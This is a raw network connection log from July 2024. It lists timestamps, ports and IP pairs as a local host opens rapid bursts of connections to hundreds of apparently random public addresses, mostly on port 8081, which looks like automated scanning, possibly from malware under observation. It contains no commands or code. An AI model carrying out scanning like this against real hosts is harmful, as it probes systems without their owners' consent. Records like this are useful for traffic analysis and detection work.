Jul 20, 2024 23:10:40.715903044 CEST	52869	38830	59.72.27.90	192.168.2.15
Jul 20, 2024 23:10:40.715965033 CEST	38830	52869	192.168.2.15	59.72.27.90
Jul 20, 2024 23:10:40.716073990 CEST	37215	40522	197.248.148.38	192.168.2.15
Jul 20, 2024 23:10:40.716253996 CEST	40522	37215	192.168.2.15	197.248.148.38
Jul 20, 2024 23:10:40.716722012 CEST	59866	80	192.168.2.15	88.218.105.251
Jul 20, 2024 23:10:40.716722012 CEST	59866	80	192.168.2.15	88.218.105.251
Jul 20, 2024 23:10:40.716816902 CEST	8081	36512	138.82.251.248	192.168.2.15
Jul 20, 2024 23:10:40.716933012 CEST	53180	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:40.716944933 CEST	44882	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:40.716964960 CEST	46702	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:40.716973066 CEST	53888	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:40.716994047 CEST	50412	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:40.717067003 CEST	53288	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:40.717067003 CEST	48218	8081	192.168.2.15	100.144.235.237
Jul 20, 2024 23:10:40.717072964 CEST	80	35698	88.239.113.189	192.168.2.15
Jul 20, 2024 23:10:40.717108965 CEST	41772	8081	192.168.2.15	98.6.153.169
Jul 20, 2024 23:10:40.717269897 CEST	47672	8081	192.168.2.15	104.81.53.73
Jul 20, 2024 23:10:40.717269897 CEST	37838	8081	192.168.2.15	218.197.253.52
Jul 20, 2024 23:10:40.717453003 CEST	47686	8081	192.168.2.15	57.7.150.109
Jul 20, 2024 23:10:40.717701912 CEST	54888	8081	192.168.2.15	51.24.196.130
Jul 20, 2024 23:10:40.717701912 CEST	53560	8081	192.168.2.15	117.195.60.70
Jul 20, 2024 23:10:40.717703104 CEST	43096	8081	192.168.2.15	41.237.164.109
Jul 20, 2024 23:10:40.717703104 CEST	39914	8081	192.168.2.15	122.95.43.153
Jul 20, 2024 23:10:40.717703104 CEST	48530	8081	192.168.2.15	220.172.168.137
Jul 20, 2024 23:10:40.717703104 CEST	59910	8081	192.168.2.15	107.127.227.178
Jul 20, 2024 23:10:40.717703104 CEST	54530	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.718082905 CEST	53688	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:40.718082905 CEST	54170	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:40.718082905 CEST	47398	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:40.718082905 CEST	33636	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:40.718082905 CEST	38262	8081	192.168.2.15	99.223.164.124
Jul 20, 2024 23:10:40.718082905 CEST	37720	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:40.718084097 CEST	43396	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:40.718084097 CEST	35438	8081	192.168.2.15	9.154.150.75
Jul 20, 2024 23:10:40.718586922 CEST	36542	8081	192.168.2.15	206.153.77.196
Jul 20, 2024 23:10:40.718586922 CEST	33234	8081	192.168.2.15	59.46.78.137
Jul 20, 2024 23:10:40.718586922 CEST	43176	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:40.718586922 CEST	47062	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.718586922 CEST	53724	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:40.718586922 CEST	39714	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.718586922 CEST	40388	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.718640089 CEST	80	36664	88.239.113.189	192.168.2.15
Jul 20, 2024 23:10:40.718836069 CEST	49186	8081	192.168.2.15	37.108.224.54
Jul 20, 2024 23:10:40.718836069 CEST	34174	8081	192.168.2.15	105.84.133.237
Jul 20, 2024 23:10:40.718836069 CEST	55050	8081	192.168.2.15	162.48.242.129
Jul 20, 2024 23:10:40.718836069 CEST	59602	8081	192.168.2.15	131.100.82.185
Jul 20, 2024 23:10:40.718836069 CEST	53802	8081	192.168.2.15	9.112.0.108
Jul 20, 2024 23:10:40.718836069 CEST	42602	8081	192.168.2.15	144.250.77.69
Jul 20, 2024 23:10:40.718836069 CEST	51798	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:40.718836069 CEST	46196	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.719172955 CEST	38118	8081	192.168.2.15	177.243.162.95
Jul 20, 2024 23:10:40.719172955 CEST	35576	8081	192.168.2.15	100.220.84.138
Jul 20, 2024 23:10:40.719172955 CEST	46374	8081	192.168.2.15	191.229.1.158
Jul 20, 2024 23:10:40.719172955 CEST	41140	8081	192.168.2.15	114.162.118.100
Jul 20, 2024 23:10:40.719172955 CEST	48948	8081	192.168.2.15	139.207.225.210
Jul 20, 2024 23:10:40.719172955 CEST	56086	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:40.719172955 CEST	58556	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.719172955 CEST	35398	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.719335079 CEST	8081	37376	138.82.251.248	192.168.2.15
Jul 20, 2024 23:10:40.719563007 CEST	33930	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:40.719563007 CEST	38744	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:40.719563007 CEST	45888	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:40.719563007 CEST	41800	8081	192.168.2.15	89.94.228.2
Jul 20, 2024 23:10:40.719563007 CEST	54782	8081	192.168.2.15	109.254.234.165
Jul 20, 2024 23:10:40.719563007 CEST	35766	8081	192.168.2.15	220.76.9.69
Jul 20, 2024 23:10:40.719563007 CEST	45158	8081	192.168.2.15	118.85.135.168
Jul 20, 2024 23:10:40.719563007 CEST	58972	8081	192.168.2.15	98.210.157.20
Jul 20, 2024 23:10:40.719631910 CEST	37215	36266	41.122.22.46	192.168.2.15
Jul 20, 2024 23:10:40.721921921 CEST	80	59866	88.218.105.251	192.168.2.15
Jul 20, 2024 23:10:40.723830938 CEST	42354	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:40.723830938 CEST	47412	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:40.723830938 CEST	44384	8081	192.168.2.15	73.57.192.131
Jul 20, 2024 23:10:40.723830938 CEST	38776	8081	192.168.2.15	143.93.205.194
Jul 20, 2024 23:10:40.723830938 CEST	40370	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:40.723830938 CEST	47180	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:40.723830938 CEST	59190	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:40.723830938 CEST	34096	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:40.725289106 CEST	58892	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:40.725289106 CEST	60550	8081	192.168.2.15	70.244.198.153
Jul 20, 2024 23:10:40.725289106 CEST	38708	8081	192.168.2.15	18.172.107.182
Jul 20, 2024 23:10:40.725289106 CEST	47970	8081	192.168.2.15	23.165.201.101
Jul 20, 2024 23:10:40.725289106 CEST	36882	8081	192.168.2.15	66.46.202.106
Jul 20, 2024 23:10:40.725289106 CEST	56490	8081	192.168.2.15	97.242.235.89
Jul 20, 2024 23:10:40.725289106 CEST	58182	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:40.725289106 CEST	48444	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:40.725639105 CEST	41348	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.725639105 CEST	39552	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.725639105 CEST	49692	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.725639105 CEST	59990	8081	192.168.2.15	140.197.167.36
Jul 20, 2024 23:10:40.725639105 CEST	53190	8081	192.168.2.15	136.254.84.193
Jul 20, 2024 23:10:40.725640059 CEST	60790	8081	192.168.2.15	128.22.65.203
Jul 20, 2024 23:10:40.725640059 CEST	36800	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:40.725640059 CEST	57836	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:40.728847027 CEST	8081	47672	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:40.729078054 CEST	8081	50412	118.166.213.249	192.168.2.15
Jul 20, 2024 23:10:40.729090929 CEST	8081	46702	201.218.238.1	192.168.2.15
Jul 20, 2024 23:10:40.729146004 CEST	8081	41772	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:40.729159117 CEST	8081	53888	32.161.26.237	192.168.2.15
Jul 20, 2024 23:10:40.729299068 CEST	52348	8081	192.168.2.15	220.85.17.7
Jul 20, 2024 23:10:40.729299068 CEST	43244	8081	192.168.2.15	217.134.215.166
Jul 20, 2024 23:10:40.729299068 CEST	58768	8081	192.168.2.15	200.109.177.161
Jul 20, 2024 23:10:40.729299068 CEST	58768	8081	192.168.2.15	162.39.18.213
Jul 20, 2024 23:10:40.729299068 CEST	58768	8081	192.168.2.15	159.43.162.89
Jul 20, 2024 23:10:40.729299068 CEST	58768	8081	192.168.2.15	169.72.45.188
Jul 20, 2024 23:10:40.729299068 CEST	58768	8081	192.168.2.15	73.225.4.52
Jul 20, 2024 23:10:40.729299068 CEST	58768	8081	192.168.2.15	141.59.125.252
Jul 20, 2024 23:10:40.729341030 CEST	8081	35576	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:40.729353905 CEST	8081	53802	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:40.729373932 CEST	8081	39714	38.56.107.193	192.168.2.15
Jul 20, 2024 23:10:40.729387045 CEST	8081	59602	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:40.729399920 CEST	8081	33636	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:40.729415894 CEST	8081	53724	196.239.70.8	192.168.2.15
Jul 20, 2024 23:10:40.729434013 CEST	8081	47398	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:40.729446888 CEST	8081	55050	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:40.729470015 CEST	8081	47062	42.75.70.65	192.168.2.15
Jul 20, 2024 23:10:40.729482889 CEST	8081	34174	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:40.729495049 CEST	8081	43176	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:40.729506969 CEST	8081	49186	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:40.729521036 CEST	8081	33930	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:40.729533911 CEST	8081	38118	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:40.729546070 CEST	8081	54170	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:40.729558945 CEST	8081	33234	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:40.729571104 CEST	8081	47686	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:40.729650021 CEST	8081	53288	149.156.0.71	192.168.2.15
Jul 20, 2024 23:10:40.729662895 CEST	8081	53180	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:40.729676962 CEST	8081	36542	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:40.729688883 CEST	8081	37838	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:40.729701042 CEST	8081	53688	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:40.729712963 CEST	8081	51470	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:40.731801033 CEST	47164	8081	192.168.2.15	103.43.41.37
Jul 20, 2024 23:10:40.731801033 CEST	59364	8081	192.168.2.15	95.238.91.109
Jul 20, 2024 23:10:40.731801033 CEST	38846	8081	192.168.2.15	124.101.153.157
Jul 20, 2024 23:10:40.731801033 CEST	58768	8081	192.168.2.15	130.20.71.164
Jul 20, 2024 23:10:40.731801033 CEST	58768	8081	192.168.2.15	105.186.181.31
Jul 20, 2024 23:10:40.731801033 CEST	58768	8081	192.168.2.15	186.237.75.217
Jul 20, 2024 23:10:40.731801033 CEST	58768	8081	192.168.2.15	135.132.154.192
Jul 20, 2024 23:10:40.731801987 CEST	58768	8081	192.168.2.15	78.194.190.24
Jul 20, 2024 23:10:40.732566118 CEST	52388	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:40.732566118 CEST	52202	8081	192.168.2.15	151.248.207.192
Jul 20, 2024 23:10:40.732567072 CEST	58768	8081	192.168.2.15	210.50.170.143
Jul 20, 2024 23:10:40.732567072 CEST	58768	8081	192.168.2.15	164.135.13.202
Jul 20, 2024 23:10:40.732567072 CEST	58768	8081	192.168.2.15	23.81.170.154
Jul 20, 2024 23:10:40.732567072 CEST	58768	8081	192.168.2.15	25.194.15.87
Jul 20, 2024 23:10:40.732567072 CEST	58768	8081	192.168.2.15	204.37.242.107
Jul 20, 2024 23:10:40.732567072 CEST	58768	8081	192.168.2.15	73.225.75.236
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	115.136.116.150
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	223.122.108.140
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	86.165.179.89
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	84.247.153.189
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	130.211.22.164
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	220.14.85.4
Jul 20, 2024 23:10:40.733181000 CEST	58768	8081	192.168.2.15	104.41.230.212
Jul 20, 2024 23:10:40.733263016 CEST	8081	58556	93.134.175.245	192.168.2.15
Jul 20, 2024 23:10:40.733275890 CEST	8081	41800	89.94.228.2	192.168.2.15
Jul 20, 2024 23:10:40.733309984 CEST	8081	37720	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:40.733331919 CEST	8081	47180	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:40.733354092 CEST	8081	41348	31.8.205.246	192.168.2.15
Jul 20, 2024 23:10:40.733366013 CEST	8081	40370	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:40.733378887 CEST	8081	38262	99.223.164.124	192.168.2.15
Jul 20, 2024 23:10:40.733392000 CEST	8081	56086	130.64.237.83	192.168.2.15
Jul 20, 2024 23:10:40.733403921 CEST	8081	38776	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:40.733414888 CEST	8081	45888	116.99.52.164	192.168.2.15
Jul 20, 2024 23:10:40.733427048 CEST	8081	48948	139.207.225.210	192.168.2.15
Jul 20, 2024 23:10:40.733439922 CEST	8081	58892	195.62.101.45	192.168.2.15
Jul 20, 2024 23:10:40.733460903 CEST	8081	44384	73.57.192.131	192.168.2.15
Jul 20, 2024 23:10:40.734844923 CEST	52796	8081	192.168.2.15	73.161.3.148
Jul 20, 2024 23:10:40.734844923 CEST	34158	8081	192.168.2.15	197.24.195.37
Jul 20, 2024 23:10:40.734844923 CEST	42452	8081	192.168.2.15	126.247.185.111
Jul 20, 2024 23:10:40.734844923 CEST	39542	8081	192.168.2.15	72.232.56.222
Jul 20, 2024 23:10:40.734844923 CEST	43536	8081	192.168.2.15	112.36.161.183
Jul 20, 2024 23:10:40.734844923 CEST	39642	8081	192.168.2.15	39.240.154.144
Jul 20, 2024 23:10:40.734846115 CEST	41232	8081	192.168.2.15	54.87.78.53
Jul 20, 2024 23:10:40.734846115 CEST	44272	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:40.735127926 CEST	38696	8081	192.168.2.15	59.207.243.209
Jul 20, 2024 23:10:40.735127926 CEST	51870	8081	192.168.2.15	109.43.3.47
Jul 20, 2024 23:10:40.735127926 CEST	56338	8081	192.168.2.15	63.16.209.243
Jul 20, 2024 23:10:40.735127926 CEST	52160	8081	192.168.2.15	96.174.40.204
Jul 20, 2024 23:10:40.735127926 CEST	45876	8081	192.168.2.15	211.111.42.56
Jul 20, 2024 23:10:40.735127926 CEST	42164	8081	192.168.2.15	19.32.100.158
Jul 20, 2024 23:10:40.735127926 CEST	36990	8081	192.168.2.15	76.56.5.73
Jul 20, 2024 23:10:40.735807896 CEST	8081	58768	200.109.177.161	192.168.2.15
Jul 20, 2024 23:10:40.736274958 CEST	8081	58768	162.39.18.213	192.168.2.15
Jul 20, 2024 23:10:40.736576080 CEST	47722	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:40.736576080 CEST	40238	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:40.736576080 CEST	58768	8081	192.168.2.15	1.192.176.226
Jul 20, 2024 23:10:40.736576080 CEST	54282	8081	192.168.2.15	20.18.13.70
Jul 20, 2024 23:10:40.736577034 CEST	58768	8081	192.168.2.15	59.240.89.110
Jul 20, 2024 23:10:40.736577034 CEST	58768	8081	192.168.2.15	208.8.39.113
Jul 20, 2024 23:10:40.736577034 CEST	58768	8081	192.168.2.15	112.246.87.106
Jul 20, 2024 23:10:40.736577034 CEST	58768	8081	192.168.2.15	23.40.94.173
Jul 20, 2024 23:10:40.736727953 CEST	8081	58768	159.43.162.89	192.168.2.15
Jul 20, 2024 23:10:40.737036943 CEST	8081	58768	169.72.45.188	192.168.2.15
Jul 20, 2024 23:10:40.737340927 CEST	8081	46196	95.67.212.64	192.168.2.15
Jul 20, 2024 23:10:40.737366915 CEST	8081	44882	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:40.737380028 CEST	8081	41140	114.162.118.100	192.168.2.15
Jul 20, 2024 23:10:40.737391949 CEST	8081	54888	51.24.196.130	192.168.2.15
Jul 20, 2024 23:10:40.737421989 CEST	8081	36800	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:40.737435102 CEST	8081	35438	9.154.150.75	192.168.2.15
Jul 20, 2024 23:10:40.737457037 CEST	8081	60550	70.244.198.153	192.168.2.15
Jul 20, 2024 23:10:40.737469912 CEST	8081	60790	128.22.65.203	192.168.2.15
Jul 20, 2024 23:10:40.737482071 CEST	8081	47412	120.75.38.85	192.168.2.15
Jul 20, 2024 23:10:40.737494946 CEST	8081	43244	217.134.215.166	192.168.2.15
Jul 20, 2024 23:10:40.737540960 CEST	8081	43396	212.35.10.142	192.168.2.15
Jul 20, 2024 23:10:40.737554073 CEST	8081	51798	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:40.737566948 CEST	8081	53190	136.254.84.193	192.168.2.15
Jul 20, 2024 23:10:40.737580061 CEST	8081	42354	65.144.4.91	192.168.2.15
Jul 20, 2024 23:10:40.737591982 CEST	8081	52348	220.85.17.7	192.168.2.15
Jul 20, 2024 23:10:40.737603903 CEST	8081	59990	140.197.167.36	192.168.2.15
Jul 20, 2024 23:10:40.737617016 CEST	8081	38744	209.233.239.62	192.168.2.15
Jul 20, 2024 23:10:40.737628937 CEST	8081	40388	188.77.70.4	192.168.2.15
Jul 20, 2024 23:10:40.737643003 CEST	8081	34096	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:40.737654924 CEST	8081	49692	129.96.11.55	192.168.2.15
Jul 20, 2024 23:10:40.737667084 CEST	8081	59190	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:40.737679005 CEST	8081	46374	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:40.737692118 CEST	8081	42602	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:40.737704039 CEST	8081	39552	193.73.82.86	192.168.2.15
Jul 20, 2024 23:10:40.737746954 CEST	80	49576	88.75.37.88	192.168.2.15
Jul 20, 2024 23:10:40.737775087 CEST	80	36706	88.25.45.56	192.168.2.15
Jul 20, 2024 23:10:40.737807989 CEST	80	60130	88.161.198.162	192.168.2.15
Jul 20, 2024 23:10:40.737833023 CEST	8081	51326	151.248.207.192	192.168.2.15
Jul 20, 2024 23:10:40.737844944 CEST	8081	36112	76.56.5.73	192.168.2.15
Jul 20, 2024 23:10:40.737867117 CEST	8081	58768	73.225.4.52	192.168.2.15
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	206.54.153.3
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	52.108.3.248
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	189.147.72.59
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	5.156.113.153
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	207.97.208.80
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	183.200.39.140
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	58.116.133.53
Jul 20, 2024 23:10:40.738775969 CEST	58768	8081	192.168.2.15	201.101.165.238
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	64.243.120.108
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	129.216.3.103
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	128.149.192.241
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	20.252.37.121
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	201.36.1.188
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	58.234.226.65
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	96.165.121.82
Jul 20, 2024 23:10:40.738935947 CEST	58768	8081	192.168.2.15	34.247.152.40
Jul 20, 2024 23:10:40.739423990 CEST	58768	8081	192.168.2.15	106.153.202.204
Jul 20, 2024 23:10:40.739423990 CEST	58768	8081	192.168.2.15	97.104.234.185
Jul 20, 2024 23:10:40.739423990 CEST	58768	8081	192.168.2.15	134.244.27.93
Jul 20, 2024 23:10:40.739423990 CEST	58768	8081	192.168.2.15	85.57.197.58
Jul 20, 2024 23:10:40.739423990 CEST	58768	8081	192.168.2.15	125.52.12.96
Jul 20, 2024 23:10:40.739424944 CEST	58768	8081	192.168.2.15	157.139.137.162
Jul 20, 2024 23:10:40.739424944 CEST	58768	8081	192.168.2.15	34.51.131.77
Jul 20, 2024 23:10:40.739424944 CEST	58768	8081	192.168.2.15	203.60.238.203
Jul 20, 2024 23:10:40.743120909 CEST	58768	8081	192.168.2.15	190.215.217.84
Jul 20, 2024 23:10:40.743120909 CEST	58768	8081	192.168.2.15	146.223.232.69
Jul 20, 2024 23:10:40.743120909 CEST	58768	8081	192.168.2.15	200.109.177.161
Jul 20, 2024 23:10:40.743120909 CEST	58768	8081	192.168.2.15	162.39.18.213
Jul 20, 2024 23:10:40.743120909 CEST	58768	8081	192.168.2.15	159.43.162.89
Jul 20, 2024 23:10:40.743120909 CEST	58768	8081	192.168.2.15	169.72.45.188
Jul 20, 2024 23:10:40.745074034 CEST	58768	8081	192.168.2.15	17.201.98.7
Jul 20, 2024 23:10:40.745074034 CEST	58768	8081	192.168.2.15	145.144.172.93
Jul 20, 2024 23:10:40.745074034 CEST	58768	8081	192.168.2.15	24.122.141.11
Jul 20, 2024 23:10:40.745074034 CEST	58768	8081	192.168.2.15	135.183.120.153
Jul 20, 2024 23:10:40.745074034 CEST	58768	8081	192.168.2.15	89.60.192.132
Jul 20, 2024 23:10:40.745074034 CEST	58768	8081	192.168.2.15	151.8.168.204
Jul 20, 2024 23:10:40.745332003 CEST	47348	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.745332003 CEST	49920	8081	192.168.2.15	221.249.213.24
Jul 20, 2024 23:10:40.745332003 CEST	58768	8081	192.168.2.15	173.167.24.129
Jul 20, 2024 23:10:40.745332003 CEST	58768	8081	192.168.2.15	146.86.115.43
Jul 20, 2024 23:10:40.745332003 CEST	58768	8081	192.168.2.15	23.67.75.86
Jul 20, 2024 23:10:40.745332003 CEST	58768	8081	192.168.2.15	45.183.255.200
Jul 20, 2024 23:10:40.745332003 CEST	58768	8081	192.168.2.15	217.226.93.100
Jul 20, 2024 23:10:40.745332003 CEST	58768	8081	192.168.2.15	38.255.86.118
Jul 20, 2024 23:10:40.745933056 CEST	58768	8081	192.168.2.15	95.159.98.117
Jul 20, 2024 23:10:40.745933056 CEST	58768	8081	192.168.2.15	92.61.216.254
Jul 20, 2024 23:10:40.745933056 CEST	58768	8081	192.168.2.15	99.99.148.158
Jul 20, 2024 23:10:40.745933056 CEST	58768	8081	192.168.2.15	5.183.239.29
Jul 20, 2024 23:10:40.745933056 CEST	58768	8081	192.168.2.15	195.223.255.220
Jul 20, 2024 23:10:40.745933056 CEST	58768	8081	192.168.2.15	193.172.78.86
Jul 20, 2024 23:10:40.749428034 CEST	53838	8081	192.168.2.15	102.109.43.7
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	138.230.212.210
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	13.143.158.46
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	27.7.180.67
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	159.165.93.78
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	75.87.208.102
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	164.157.90.48
Jul 20, 2024 23:10:40.749428988 CEST	58768	8081	192.168.2.15	125.200.141.22
Jul 20, 2024 23:10:40.749980927 CEST	80	47866	88.203.133.168	192.168.2.15
Jul 20, 2024 23:10:40.749994040 CEST	8081	52388	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:40.750026941 CEST	8081	59364	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:40.750040054 CEST	8081	52964	102.109.43.7	192.168.2.15
Jul 20, 2024 23:10:40.750051975 CEST	8081	57836	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:40.750065088 CEST	8081	47164	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:40.750086069 CEST	8081	57896	1.192.176.226	192.168.2.15
Jul 20, 2024 23:10:40.750121117 CEST	8081	53888	32.161.26.237	192.168.2.15
Jul 20, 2024 23:10:40.750133991 CEST	8081	41772	98.6.153.169	192.168.2.15
Jul 20, 2024 23:10:40.750158072 CEST	8081	46702	201.218.238.1	192.168.2.15
Jul 20, 2024 23:10:40.750170946 CEST	8081	50412	118.166.213.249	192.168.2.15
Jul 20, 2024 23:10:40.750184059 CEST	8081	47672	104.81.53.73	192.168.2.15
Jul 20, 2024 23:10:40.750195980 CEST	8081	53688	147.132.243.41	192.168.2.15
Jul 20, 2024 23:10:40.750207901 CEST	8081	37838	218.197.253.52	192.168.2.15
Jul 20, 2024 23:10:40.750231028 CEST	8081	36542	206.153.77.196	192.168.2.15
Jul 20, 2024 23:10:40.750243902 CEST	8081	53180	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:40.750257015 CEST	8081	53288	149.156.0.71	192.168.2.15
Jul 20, 2024 23:10:40.750268936 CEST	8081	47686	57.7.150.109	192.168.2.15
Jul 20, 2024 23:10:40.750281096 CEST	8081	33234	59.46.78.137	192.168.2.15
Jul 20, 2024 23:10:40.750293016 CEST	8081	54170	177.201.145.33	192.168.2.15
Jul 20, 2024 23:10:40.750323057 CEST	8081	38118	177.243.162.95	192.168.2.15
Jul 20, 2024 23:10:40.750335932 CEST	8081	33930	158.32.146.168	192.168.2.15
Jul 20, 2024 23:10:40.750359058 CEST	8081	49186	37.108.224.54	192.168.2.15
Jul 20, 2024 23:10:40.750371933 CEST	8081	43176	213.200.213.234	192.168.2.15
Jul 20, 2024 23:10:40.750384092 CEST	8081	34174	105.84.133.237	192.168.2.15
Jul 20, 2024 23:10:40.750405073 CEST	8081	47062	42.75.70.65	192.168.2.15
Jul 20, 2024 23:10:40.750417948 CEST	8081	55050	162.48.242.129	192.168.2.15
Jul 20, 2024 23:10:40.750431061 CEST	8081	47398	50.145.203.85	192.168.2.15
Jul 20, 2024 23:10:40.750449896 CEST	8081	53724	196.239.70.8	192.168.2.15
Jul 20, 2024 23:10:40.750462055 CEST	8081	33636	170.239.24.67	192.168.2.15
Jul 20, 2024 23:10:40.750474930 CEST	8081	59602	131.100.82.185	192.168.2.15
Jul 20, 2024 23:10:40.750487089 CEST	8081	39714	38.56.107.193	192.168.2.15
Jul 20, 2024 23:10:40.750499010 CEST	8081	53802	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:40.750510931 CEST	8081	35576	100.220.84.138	192.168.2.15
Jul 20, 2024 23:10:40.750524044 CEST	8081	42602	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:40.750540972 CEST	8081	46374	191.229.1.158	192.168.2.15
Jul 20, 2024 23:10:40.750554085 CEST	8081	40388	188.77.70.4	192.168.2.15
Jul 20, 2024 23:10:40.750565052 CEST	8081	38744	209.233.239.62	192.168.2.15
Jul 20, 2024 23:10:40.750577927 CEST	8081	42354	65.144.4.91	192.168.2.15
Jul 20, 2024 23:10:40.750581980 CEST	50412	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:40.750581980 CEST	54170	8081	192.168.2.15	177.201.145.33
Jul 20, 2024 23:10:40.750581980 CEST	53688	8081	192.168.2.15	147.132.243.41
Jul 20, 2024 23:10:40.750581980 CEST	47398	8081	192.168.2.15	50.145.203.85
Jul 20, 2024 23:10:40.750581980 CEST	33636	8081	192.168.2.15	170.239.24.67
Jul 20, 2024 23:10:40.750591040 CEST	8081	51798	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:40.750603914 CEST	8081	47412	120.75.38.85	192.168.2.15
